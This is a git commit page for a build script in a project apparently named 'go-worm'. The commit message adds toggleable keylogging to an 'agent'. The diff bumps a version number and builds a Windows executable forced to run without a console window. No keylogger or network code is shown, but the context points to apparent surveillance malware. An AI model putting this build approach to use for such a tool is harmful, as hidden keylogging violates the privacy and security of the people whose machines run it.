feat(agent): add persistent klogging settings
- Add settings API and UI to toggle keylog - Persist preference in settings.json - Expose klogging state in status endpoint - Inject build version into web console - Bump version automatically on build
This commit is contained in:
+17
-2
@@ -4,7 +4,22 @@ set -euo pipefail
|
||||
cd "$(dirname "$0")/.."
|
||||
|
||||
out="${1:-win64_mp.exe}"
|
||||
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
|
||||
|
||||
version_file="VERSION"
|
||||
if [[ ! -f "$version_file" ]]; then
|
||||
echo "1.0.0" > "$version_file"
|
||||
fi
|
||||
old="$(tr -d '[:space:]' < "$version_file")"
|
||||
if [[ ! "$old" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
|
||||
echo "bad VERSION: $old" >&2
|
||||
exit 1
|
||||
fi
|
||||
IFS=. read -r major minor patch <<< "$old"
|
||||
ver="${major}.${minor}.$((10#$patch + 1))"
|
||||
printf '%s\n' "$ver" > "$version_file"
|
||||
|
||||
ldflags="-s -w -H windowsgui -X tea.chunkbyte.com/kato/go-worm/lib/config.Version=${ver}"
|
||||
GOOS=windows GOARCH=amd64 go build -ldflags "$ldflags" -o "$out" .
|
||||
# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
|
||||
python3 - "$out" <<'PY'
|
||||
import struct, sys
|
||||
@@ -24,4 +39,4 @@ with open(path, "r+b") as f:
|
||||
f.write(struct.pack("<H", 2))
|
||||
print(f"pe subsystem=gui {path}")
|
||||
PY
|
||||
echo "built $out"
|
||||
echo "built $out $ver"
|
||||
|
||||
Reference in New Issue
Block a user